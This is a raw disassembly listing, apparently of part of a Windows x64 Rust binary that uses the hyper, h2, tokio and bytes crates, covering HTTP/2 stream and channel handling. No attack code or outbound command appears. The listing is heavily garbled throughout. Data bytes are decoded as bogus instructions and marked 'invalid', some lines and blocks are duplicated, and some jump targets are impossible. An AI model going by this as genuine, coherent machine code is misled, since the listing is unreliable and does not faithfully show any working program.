mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test rbx, rbx
je 0x140085338
invalid
lea rcx, [rsp + 0x88]
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [rbx + 0x10]
jmp 0x140085338
mov ecx, 8
mov edx, 0x70
call fcn.1401082c0
ud2
lea rcx, [rsp + 0xf8]
mov rax, qword [rsp + 0xe0]
and al, 0xf8
add byte [rax], al
add byte [rax - 0x75], cl
test byte [rax + riz*8], ah
add byte [rax], al
add byte [rax - 0x75], cl
xchg esp, eax
and al, 0xe8
add byte [rax], al
add byte [rbx + rcx*4 - 0x7c], cl
and al, 0xf0
add byte [rax], al
add bh, bh
push rax
adc byte [rax - 0x73], cl
add eax, 0xbe4b9
mov rdx, qword [rsp + 0xe8]
mov r8, qword [rsp + 0xf0]
call qword [rax + 0x10]
lea rax, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcheadermap.rsH
mov qword [rsp + 0x20], rax
lea rcx, str.size_overflows_MAX_SIZE
add byte [rbp + rcx*4 + 0xd], cl
invalid
invalid
or al, byte [rax]
lea r8, [rsp + 0x70]
mov edx, 0x17
call fcn.1401088e0
add byte [rbp + rcx*4 + 0xd], cl
invalid
lea rcx, [rsp + 0x4c8]
mov rax, qword [rsp + 0x4b0]
mov rdx, qword [rsp + 0x4b8]
mov r8, qword [rsp + 0x4c0]
call qword [rax + 0x10]
test r13, r13
je 0x140085338
lea rcx, [rsp + 0x88]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
call qword [r13 + 0x10]
jmp 0x140085338
mov ecx, 8
mov edx, 0x60
call fcn.1401082c0
mov ecx, 2
mov rdx, r15
call fcn.1401082a0
mov qword [rsp + 0x260], rsi
lea rax, [rsp + 0x340]
mov qword [rsp + 0x1450], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x1458], rax
lea rcx, [rsp + 0x260]
mov qword [rsp + 0x1460], rcx
mov qword [rsp + 0x1468], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x7d0], rax
mov qword [rsp + 0x7d8], 2
mov qword [rsp + 0x7f0], 0
lea rax, [rsp + 0x1450]
mov qword [rsp + 0x7e0], rax
mov qword [rsp + 0x7e8], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes_mut.rs
lea rcx, [rsp + 0x7d0]
call fcn.140108560
mov qword [rsp + 0xe0], rbx
lea rax, [rsp + 0x140]
mov qword [rsp + 0x4b0], rax
lea rax, [0x1400e9f80]
mov qword [rsp + 0x4b8], rax
lea rcx, [rsp + 0xe0]
mov qword [rsp + 0x4c0], rcx
mov qword [rsp + 0x4c8], rax
lea rax, str.cannot_advance_past__remaining_:___
mov qword [rsp + 0x260], rax
mov qword [rsp + 0x268], 2
mov qword [rsp + 0x280], 0
lea rax, [rsp + 0x4b0]
mov qword [rsp + 0x270], rax
mov qword [rsp + 0x278], 2
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_bytes_1.5.0_src_bytes.rsC:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_body_body.rs
lea rcx, [rsp + 0x260]
call fcn.140108560
lea r8, str._rustc_f9b16149208c8a8a349c32813312716f6603eb6flibrary_alloc_src_vecmod.rs
mov rcx, rdx
mov rdx, rax
call fcn.140108620
mov ecx, 8
mov edx, 0x28
call fcn.1401082c0
mov ecx, 8
mov rdx, r15
call fcn.1401082a0
call fcn.140010970
mov ecx, 2
mov edx, 0x20
call fcn.1401082a0
mov ecx, 8
mov edx, 0x240
call fcn.1401082a0
lea rax, [rsp + 0x580]
mov qword [rsp + 0x480], rax
lea rax, [fcn.140012cc0]
mov qword [rsp + 0x488], rax
lea rax, [0x140173560]
mov qword [rsp + 0x1450], rax
mov qword [rsp + 0x1458], 1
mov qword [rsp + 0x1470], 0
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
adc al, 0
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
push 0x1000014
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xee022
add byte [rax - 0x73], cl
test byte [rax + rax*4], ah
add al, 0
add byte [rax - 0x77], cl
test byte [rax + riz*2], ah
adc al, 0
add byte [rax - 0x39], cl
test byte [rax + rbp*2], ah
push 0x1000014
push 0x1000014
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xee022
lea rcx, [rsp + 0x1450]
call fcn.140108560
mov ecx, 1
mov rdx, qword [rsp + 0x40]
and al, 0x40
and al, 0x40
call fcn.1401082a0
int3
int3
test esi, esi
je 0x14008563b
mov rax, qword [rsi + 0x30]
nop dword [rax]
mov rdx, rax
test dl, 4
jne 0x14008560a
mov r8, rdx
or r8, 2
mov rax, rdx
lock cmpxchg qword [rsi + 0x30], r8
jne 0x1400855f0
and edx, 5
cmp edx, 1
jne 0x140085626
mov rdx, qword [rsi + 0x20]
mov rax, qword [rsi + 0x28]
mov rdi, rcx
mov rcx, rax
call qword [rdx + 0x10]
mov rcx, rdi
lock dec qword [rsi]
jne 0x14008563b
mov rcx, qword [rcx + 8]
add rsp, 0x28
pop rdi
pop rsi
jmp fcn.1400372d0
nop
add rsp, 0x28
sub byte [rdi + 0x5e], bl
sub byte [rdi + 0x5e], bl
ret
or dword [rax - 0x75], ecx
or al, r13b
adc dword [rsi], 0xfffffffe
invalid
inc dword [rax + 0xf02207e]
test byte [rdx + 0x48000000], dl
lea ecx, [rsi + 0x10]
invalid
mov rdi, qword [rcx]
lock dec qword [rdi + 0x40]
jne 0x1400856eb
mov rax, qword [rdi + 0x38]
test rax, rax
jns 0x14008569d
movabs rax, 0x7fffffffffffffff
lock and qword [rdi + 0x38], rax
mov rax, qword [rdi + 0x58]
nop word cs:[rax + rax]
mov rdx, rax
or rdx, 2
lock cmpxchg qword [rdi + 0x58], rdx
jne 0x1400856b0
test rax, rax
jne 0x1400856eb
mov rdx, qword [rdi + 0x48]
mov rax, qword [rdi + 0x50]
mov qword [rdi + 0x48], 0
lock and qword [rdi + 0x58], 0xfffffffffffffffd
test rdx, rdx
je 0x1400856eb
mov rbx, rcx
mov rcx, rax
call qword [rdx + 8]
mov rcx, rbx
lock dec qword [rdi]
jne 0x1400856f6
call fcn.1400353d0
mov rax, qword [rsi + 0x18]
lock dec qword [rax]
jne 0x140085709
mov rcx, qword [rsi + 0x18]
call fcn.140066cf0
mov rdi, qword [rsi]
test rdi, rdi
je 0x14008579c
mov bl, 1
mov al, 1
xchg byte [rdi + 0xa8], al
mov al, 1
xchg byte [rdi + 0x88], al
test al, al
jne 0x14008574e
mov rax, qword [rdi + 0x78]
mov rcx, qword [rdi + 0x80]
mov qword [rdi + 0x78], 0
xor edx, edx
xchg byte [rdi + 0x88], dl
test rax, rax
je 0x14008574e
call qword [rax + 8]
xchg byte [rdi + 0xa0], bl
test bl, bl
je 0x14008576d
lock dec qword [rdi]
jne 0x14008579c
mov rcx, qword [rsi]
add rsp, 0x20
pop rbx
pop rdi
pop rsi
jmp fcn.140036cf0
mov rax, qword [rdi + 0x90]
mov rcx, qword [rdi + 0x98]
mov qword [rdi + 0x90], 0
test rax, rax
je 0x14008578e
call qword [rax + 0x18]
xor eax, eax
xchg byte [rdi + 0xa0], al
lock dec qword [rdi]
je 0x14008575e
add rsp, 0x20
pop rbx
pop rdi
pop rsi
ret
add byte [rax], al
add byte [rax - 0x75], cl
push rdi
sbb byte [rax - 0x73], cl
mov word [rax + rbx*2], fs
add dword [rax], eax
add byte [rbp + rcx*4 - 0x7c], cl
and al, 0x78
add eax, dword [rax]
add al, ch
mov esi, 0x48000007
mov edi, dword [rsp + 0x258]
add byte [rax], al
call fcn.1400860f0
mov rdi, qword [rsp + 0x258]
cmp rdi, 4
je 0x140085a8c
lea rcx, [rsp + 0x270]
lea rdx, [rsp + 0x158]
mov r8d, 0x100
and al, 0x58
add dword [rax], eax
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add al, ch
ror dword [rbx], 1
or byte [rax], al
call fcn.140106530
movups xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0x110], xmm0
lea rax, [rdi - 3]
cmp rax, 1
jbe 0x140085a8c
clc
add dword [rdi], ecx
xchg byte [rdi], cl
add dword [rax], eax
add byte [rax - 0x73], cl
mov word [rax + rdi*2], fs
add eax, dword [rax]
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x70
add al, byte [rax]
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
lea rcx, [rsp + 0x378]
lea rdx, [rsp + 0x270]
mov r8d, 0x100
call fcn.140106530
movaps xmm0, xmmword [rsp + 0x110]
movaps xmmword [rsp + 0x100], xmm0
cmp edi, 2
je 0x140085a8c
lea rcx, [rsp + 0x478]
lea rdx, [rsp + 0x378]
mov r8d, 0x100
call fcn.140106530
mov qword [rsp + 0x140], rdi
movaps xmm0, xmmword [rsp + 0x100]
movups xmmword [rsp + 0x148], xmm0
call fcn.140036ea0
mov rdi, rax
movzx eax, byte [0x140182310]
mov edx, 8
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140085d02
mov rbx, rax
mov qword [rax], rsi
mov rsi, qword [rdi]
test rsi, rsi
je 0x140085a44
mov r14, qword [rdi + 8]
mov rcx, rsi
call qword [r14]
cmp qword [r14 + 8], 0
cmp dword [rsi + 8], 0
cmp dword [rsi + 8], 0
je 0x140085a44
cmp qword [r14 + 0x10], 0x11
adc byte [rcx], dl
jb 0x140085a32
mov rsi, qword [rsi - 8]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov qword [rdi], rbx
lea rax, fcn.140035b40
mov qword [rdi + 8], rax
or byte [r8 - 0x73], r9b
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x78
add al, 0
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
or byte [r8 - 0x73], r9b
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rax - 0x73], cl
xchg esp, eax
and al, 0x78
add al, 0
add byte [rcx - 0x48], al
add byte [rcx], al
add byte [rax], al
call fcn.140106530
mov qword [rsp + 0x158], rdi
lea rcx, [rsp + 0x140]
lea rdx, [rsp + 0x158]
add dword [rax], eax
add al, ch
jbe 0x140085a9e
invalid
push qword [rcx]
invalid
add dword [rax], eax
add al, ch
jbe 0x140085a9e
invalid
cmp dword [rsp + 0x20], 2
je 0x140085ce3
lea rcx, [rsp + 0x20]
call fcn.140065ab0
jmp 0x140085ce3
add dh, bh
invalid
mov rax, rsi
add rsp, 0x578
pop rbx
pop rdi
pop rsi
pop r14
ret
mov ecx, 8
mov edx, 8
call fcn.1401082c0
int3
add al, byte [rax]
add byte [rcx - 0x73], cl
push rsp
and al, 0x78
lea r15, [rsp + 0x68]
lea edi, [rsp + 0x68]
mov rcx, r15
call fcn.1400276c0
cmp byte [rsp + 0x68], 3
jne 0x140085db8
cmp dword [r12 + 0x118], 0
je 0x140085e2d
mov r15b, 3
mov r13b, 5
mov ch, 5
mov ch, 5
test bpl, bpl
jne 0x140085f68
jmp 0x140085f55
mov rax, qword [rsp + 0x88]
mov qword [rsp + 0x50], rax
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x30], xmm0
movzx eax, byte [rsp + 0x30]
mov dh, 0x44
and al, 0x30
mov dh, 0x44
and al, 0x30
test eax, eax
je 0x140085ed2
cmp eax, 1
jne 0x140085eef
mov r14, qword [rsp + 0x38]
movaps xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x2c], eax
mov r15b, 1
movzx r13d, byte [rsp + 0x31]
test bpl, bpl
in eax, dx
in eax, dx
jne 0x140085f68
jmp 0x140085f55
add dword [rax], eax
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
je 0x140085f1b
mov ecx, dword [rdi + 0x18]
mov eax, dword [rdi + 0x1c]
mov dword [rsp + 0x60], ecx
mov dword [rsp + 0x64], eax
cmp qword [r12 + 0x1d8], rcx
jbe 0x140086090
add byte [rax], al
add byte [rax], al
mov r13, qword [r12 + 0x1d0]
imul rcx, rcx, 0x130
cmp dword [r13 + rcx], 2
je 0x140086090
add r13, rcx
cmp dword [r13 + 0x114], eax
jne 0x140086090
cmp byte [r13 + 0x124], 0
je 0x140085f1b
add byte [rax], al
add byte [rdi], cl
test byte [rax + 0x49000000], dl
mov eax, dword [rsi]
mov rax, qword [r14]
mov rdx, qword [rax]
mov rcx, qword [rax + 8]
call qword [rdx]
mov r15, rax
mov r14, rdx
mov rax, qword [r13 + 0x90]
test rax, rax
je 0x140085eb3
mov rcx, qword [r13 + 0x98]
call qword [rax + 0x18]
mov qword [r13 + 0x90], r15
mov qword [r13 + 0x98], r14
mov r15b, 6
test bpl, bpl
jne 0x140085f68
jmp 0x140085f55
mov eax, dword [rsp + 0x34]
mov dword [rsp + 0x2c], eax
mov r14d, dword [rsp + 0x38]
movzx r13d, byte [rsp + 0x31]
xor r15d, r15d
test bpl, bpl
jne 0x140085f68
jmp 0x140085f55
movzx ecx, byte [rsp + 0x31]
movabs rax, 0x8000000000000000
cmp qword [rsp + 0x38], rax
jne 0x140085f40
movzx r14d, cl
shl r14, 0x20
or r14, 3
mov r15b, 4
test bpl, bpl
jne 0x140085f68
jmp 0x140085f55
test bpl, bpl
jne 0x140085f33
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140086078
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x140085f8d
mov r15b, 5
jmp 0x140085f70
lea rdx, [rsp + 0x38]
call fcn.14001ed30
mov r14, rax
mov r15b, 4
test bpl, bpl
jne 0x140085f68
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140086060
xor eax, eax
xchg byte [rbx], al
cmp al, 2
jne 0x140085f79
mov rcx, rbx
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
cmp r15b, 5
je 0x140085f8d
movzx eax, r15b
cmp eax, 6
jne 0x140085fbb
mov byte [rsi], 6
jmp 0x140085fe5
add rdi, 0x10
mov rbx, qword [rdi]
test rbx, rbx
je 0x140085faf
mov rcx, rdi
call fcn.140026d50
lock dec qword [rbx]
jne 0x140085faf
mov rcx, rdi
call fcn.140005020
mov qword [rdi], 0
mov byte [rsi], 5
jmp 0x140085fe5
mov byte [rsi], r15b
mov byte [rsi + 1], r13b
mov eax, dword [rsp + 0x2c]
mov dword [rsi + 4], eax
mov qword [rsi + 8], r14
movaps xmm0, xmmword [rsp + 0x90]
movups xmmword [rsi + 0x10], xmm0
mov rax, qword [rsp + 0xa0]
mov qword [rsi + 0x20], rax
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
call fcn.1401105f0
test al, al
jne 0x140085f68
mov byte [r12 + 0x11], 1
jmp 0x140085f68
call fcn.1401105f0
test al, al
jne 0x140085f33
mov byte [r12 + 0x11], 1
jmp 0x140085f33
lea rax, [rsp + 0x64]
mov qword [rsp + 0x68], rax
lea rax, [0x14001b1f0]
mov qword [rsp + 0x70], rax
lea rax, str.dangling_store_key_for_stream_id
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x50], 0
mov qword [rsp + 0x40], r15
mov qword [rsp + 0x48], 1
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_store.rs
lea rcx, [rsp + 0x30]
call fcn.140108560
int3
add eax, 0xfc202
mov rcx, qword gs:[0x58]
and eax, 0x58
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x140086161
test eax, eax
jne 0x1400861b4
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov r14, qword [rcx + rax*8]
lea rcx, [r14 + 0xd0]
or al, 0x25
pop rax
add byte [rax], al
add byte [rbx + rcx*4 + 0x34], cl
ror dword [rcx - 0x73], 0x8e
rol byte [rax], 1
add byte [rax], al
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [r14 + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
add byte [rax], al
mov rax, qword [rcx + rax*8]
movzx ebp, byte [rax + 0x11c]
movzx r12d, byte [rax + 0x11d]
mov eax, r12d
test bpl, bpl
je 0x140086199
test r12b, r12b
je 0x14008625c
lea eax, [r12 - 1]
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov byte [rcx + 0x11d], al
jmp 0x1400861b9
xor ebp, ebp
xor r12d, r12d
lea r14, [rdi + 0x1a0]
lea r15, [rdi + 0x80]
lea rcx, [rsp + 0x28]
mov rdx, r14
mov r8, r15
call fcn.140066ee0
mov rax, qword [rsp + 0x128]
cmp rax, 3
je 0x14008621a
cmp eax, 4
jne 0x140086243
mov ecx, 1
xor eax, eax
lock cmpxchg qword [rdi + 0x110], rcx
test rax, rax
je 0x140086276
cmp rax, 2
jne 0x1400862ef
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
call qword [rax + 0x10]
pause
jmp 0x1400862ef
mov rax, qword [rdi + 0x1c0]
cmp rax, 2
jb 0x1400863cf
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x140141720]
mov edx, 0x30
call fcn.140108630
lock sub qword [rdi + 0x1c0], 2
jb 0x14008642a
lea rdx, [rsp + 0x28]
jmp 0x1400863ef
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
call qword [rax + 0x10]
mov qword [rsi + 0x100], 4
jmp 0x1400863fd
mov rax, qword [rbx]
mov rcx, qword [rbx + 8]
call qword [rax]
mov r8, qword [rdi + 0x100]
mov rcx, qword [rdi + 0x108]
mov qword [rdi + 0x100], rax
mov qword [rdi + 0x108], rdx
xor edx, edx
mov eax, 1
lock cmpxchg qword [rdi + 0x110], rdx
jne 0x1400862b8
test r8, r8
je 0x1400862ef
call qword [r8 + 0x18]
jmp 0x1400862ef
mov r13, qword [rdi + 0x100]
mov rbx, qword [rdi + 0x108]
mov qword [rdi + 0x100], 0
xor eax, eax
xchg qword [rdi + 0x110], rax
test r8, r8
je 0x1400862e3
call qword [r8 + 8]
test r13, r13
je 0x1400862ef
mov rcx, rbx
call qword [r13 + 8]
lea rcx, [rsp + 0x140]
mov rdx, r14
mov r8, r15
call fcn.140066ee0
mov rax, qword [rsp + 0x240]
cmp rax, 3
je 0x1400863c2
cmp eax, 4
jne 0x1400863dc
cmp byte [rdi + 0x1b8], 0
je 0x140086337
mov rax, qword [rdi + 0x1c0]
cmp rax, 1
jbe 0x1400863cf
mov qword [rsi + 0x100], 4
test bpl, bpl
je 0x1400863fd
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x120]
cmp eax, 1
je 0x14008639f
test eax, eax
jne 0x1400863fd
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rsi, qword [rcx + rax*8]
lea rcx, [rsi + 0xd0]
lea rdx, [0x1400e4030]
call fcn.1400d4720
mov byte [rsi + 0x120], 1
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov byte [rax + 0x11c], 1
mov byte [rax + 0x11d], r12b
jmp 0x1400863fd
mov rax, qword [rdi + 0x1c0]
cmp rax, 2
jae 0x140086412
mov qword [rsi + 0x100], 3
jmp 0x1400863fd
lock sub qword [rdi + 0x1c0], 2
jb 0x140086433
lea rdx, [rsp + 0x140]
mov r8d, 0x118
mov rcx, rsi
call fcn.140106530
nop
add rsp, 0x258
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rcx, str.assertion_failed:_self.inner.semaphore.is_idle__C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_syncmpscchan.rs
lea r8, [0x140141708]
mov edx, 0x30
call fcn.140108630
mov ecx, 7
int 0x29
ud2
mov ecx, 7
int 0x29
ud2
add rsi, 0x48
mov rcx, rsi
call fcn.14005b7d0
nop
add rsp, 0x108
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
xor byte [rcx - 0x76bbdeb0], cl
and al, 0x4c
lea eax, [0x1401415b8]
mov rdx, rax
call qword [rbx + 0x18]
jmp 0x140086aa1
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov qword [rcx + 0xd0], rax
mov rax, qword [rcx + 0xd8]
cmp rax, 2
je 0x140086ba3
mov rdi, qword [rsp + 0x48]
test rax, rax
je 0x14008694b
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x140086b68
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
movabs byte [0x840fc08548000590], al
add eax, dword gs:[rax]
invalid
movabs byte [0x840fc08548000590], al
add eax, dword gs:[rax]
add byte [rax - 0x77], cl
ret 0x8348
mov rdx, rax
and rdx, 0xffffffffffffff80
loop 0x1400867fe
loop 0x1400867fe
lea rbx, [rdx + 0x80]
mov qword [rdx + 0x78], rax
lea rcx, [r14 + 0x68]
mov qword [rdx + 0x80], 0xcc
mov qword [rdx + 0x88], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
lea rax, [0x140141cc8]
mov qword [rdx + 0x90], rax
mov dword [rdx + 0x90], eax
mov dword [rdx + 0x90], eax
nop
add byte [rax], al
add byte [rax - 0x39], cl
invalid
mov qword [rdx + 0x98], 0
mov qword [rdx + 0xa0], r14
mov qword [rdx + 0xa8], rdi
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x4e], cl
movabs al, byte [0xa8ba8948000000]
add byte [rax], al
mov rax, qword [rsp + 0x38]
mov qword [rdx + 0xb0], rax
mov qword [rdx + 0xb8], r15
mov qword [rdx + 0xc0], r13
mov qword [rdx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rdx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov r8d, dword [rsp + 0x30]
mov dword [rdx + 0xd1], eax
mov dword [rdx + 0xd4], r8d
xorps xmm0, xmm0
movups xmmword [rdx + 0xd8], xmm0
mov qword [rdx + 0xe8], 0
invalid
call 0x14008691d
add byte [rax], al
add byte [rax - 0x77], cl
fimul dword [rcx - 0x77]
fsubr st(0)
jne 0x140086914
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
xor eax, dword [rcx]
add byte [rax], al
add byte [rax - 0x39], cl
invalid
jne 0x140086914
std
dec dword [rax - 0x7b]
ror byte [rdi], 0x84
xor eax, dword [rcx]
add byte [rax], al
add r14, 0x10
mov rcx, r14
mov rdx, rax
xor r8d, r8d
call fcn.1400ec490
jmp 0x140086a67
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov r14, qword [rax + 0xe0]
lock inc qword [r14]
jle 0x140086b68
movzx eax, byte [0x140182310]
mov edx, 0x100
xor ecx, ecx
call fcn.1400df910
test rax, rax
je 0x140086bdc
mov rcx, rax
and rcx, 0xffffffffffffff80
lea rbx, [rcx + 0x80]
mov qword [rcx + 0x78], rax
mov qword [rcx + 0x80], 0xcc
mov qword [rcx + 0x88], 0
lea rax, [0x140141ae8]
mov qword [rcx + 0x90], rax
mov qword [rcx + 0x98], 0
mov qword [rcx + 0xa0], r14
add r14, 0x58
pop rax
pop rax
mov qword [rcx + 0xa8], rdi
mov rax, qword [rsp + 0x38]
mov qword [rcx + 0xb0], rax
mov qword [rcx + 0xb8], r15
mov qword [rcx + 0xc0], r13
mov qword [rcx + 0xc8], r12
mov eax, dword [rsp + 0x34]
mov byte [rcx + 0xd0], al
mov eax, dword [rsp + 0x2d]
mov edx, dword [rsp + 0x30]
mov dword [rcx + 0xd1], eax
mov dword [rcx + 0xd4], edx
xorps xmm0, xmm0
movups xmmword [rcx + 0xd8], xmm0
fadd dword [rax]
add byte [rax], al
invalid
fadd dword [rax]
add byte [rax], al
mov qword [rcx + 0xe8], 0
mov rcx, r14
mov rdx, rbx
mov r8, rbx
call fcn.1400654a0
test rax, rax
je 0x140086a67
mov ecx, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rcx, qword [rdx + rcx*8]
mov rcx, qword [rcx + 0xe0]
mov rdx, rax
call fcn.1400eaa70
mov rcx, qword [rsp + 0x20]
mov eax, dword [0x140182314]
mov rdx, qword gs:[0x58]
mov rax, qword [rdx + rax*8]
dec qword [rax + 0xd0]
add byte [rax], al
add byte [rdx + 0x84], bh
add byte [rax], al
add byte [rdx + 0x84], bh
mov eax, 0xcc
lock cmpxchg qword [rbx], rdx
mov cl, 0x13
mov cl, 0x13
je 0x140086aa6
mov rax, qword [rbx + 0x10]
mov rcx, rbx
call qword [rax + 0x20]
mov rcx, qword [rsp + 0x20]
mov rax, qword [rsi + 0x10]
mov qword [rsp + 0x60], rax
movups xmm0, xmmword [rsi]
movaps xmmword [rsp + 0x50], xmm0
mov qword [rsp + 0x68], r15
mov qword [rsp + 0x70], 0
movups xmm0, xmmword [rsp + 0xf8]
movups xmmword [rsp + 0x78], xmm0
movups xmm0, xmmword [rsi + 0x18]
movups xmmword [rsp + 0x88], xmm0
mov rax, qword [rsi + 0x28]
mov qword [rsp + 0x98], rax
mov byte [rsp + 0xf0], 0
mov rax, qword [rcx + 0xc8]
mov rdx, qword [rcx + 0xd0]
lea r8, [rsp + 0x50]
mov rcx, rax
call fcn.140087a90
test bpl, bpl
je 0x1400864e5
lea rdi, [rsi + 0x30]
mov rcx, rdi
call fcn.140026d50
mov rax, qword [rsi + 0x30]
lock dec qword [rax]
jne 0x140086b34
mov rcx, rdi
call fcn.140005020
mov rax, qword [rsi + 0x40]
lock dec qword [rax]
jne 0x1400864d9
mov rcx, qword [rsi + 0x40]
call fcn.140087210
jmp 0x1400864d9
ud2
mov rcx, rbx
call fcn.140088740
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x50], al
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
out dx, al
test al, 0xb
add byte [rax - 0x73], cl
and al, 0x50
out dx, al
test al, 0xb
add byte [rax - 0x73], cl
and al, 0x50
call fcn.14010dd60
mov ecx, 0x80
mov edx, 0x80
add byte [rax], 0
add al, ch
invalid
invalid
or byte [rax], al
add byte [rax], 0
add byte [rax], al
add al, ch
invalid
mov rcx, rbx
call fcn.140088740
mov al, 1
mov byte [rsp + 0x50], al
and al, 0x50
and al, 0x50
and al, 0x50
lea rdx, str.C:UsersUser.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x50]
call fcn.14010dd60
jno 0x140086c11
add ah, cl
jno 0x140086c11
add ah, cl
int3
int3
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x168
mov rsi, r9
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov esi, ecx
mov esi, ecx
movups xmm0, xmmword [0x140140858]
movaps xmmword [rsp + 0x50], xmm0
sub dword [rsp + 0x50], eax
sub dword [rsp + 0x50], eax
movups xmm0, xmmword [0x140140848]
movaps xmmword [rsp + 0x40], xmm0
add byte [rdi], cl
sub dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025440
mov bpl, 6
mov ch, 6
mov ch, 6
invalid
test al, al
jne case.0x140086de7.2
movups xmm0, xmmword [0x14012c6d0]
movaps xmmword [rsp + 0x50], xmm0
movups xmm0, xmmword [0x14012c6c0]
pop rdx
or al, byte [rax]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
mov rcx, rbx
call fcn.140025440
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
inc dword [rax + rax*8 + 0x19f850f]
add byte [rax], al
movups xmm0, xmmword [0x14012ca00]
insd dword [rdi], dx
pop rbp
or al, byte [rax]
movaps xmmword [rsp + 0x50], xmm0
push rax
movups xmm0, xmmword [0x14012c9f0]
movaps xmmword [rsp + 0x40], xmm0
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov rcx, rbx
call fcn.140025440
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140086cb8
add byte [rax], al
stc
inc dword [rax + rax*8 + 0x172850f]
jb 0x140086cb8
jb 0x140086cb8
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0xb9ba8
lea rdx, str.keep_alive
mov r8d, 0xa
mov rcx, rbx
call fcn.1400255d0
jmp 0x1008d6cc9
jne case.0x140086de7.2
jmp 0x1008d6cc9
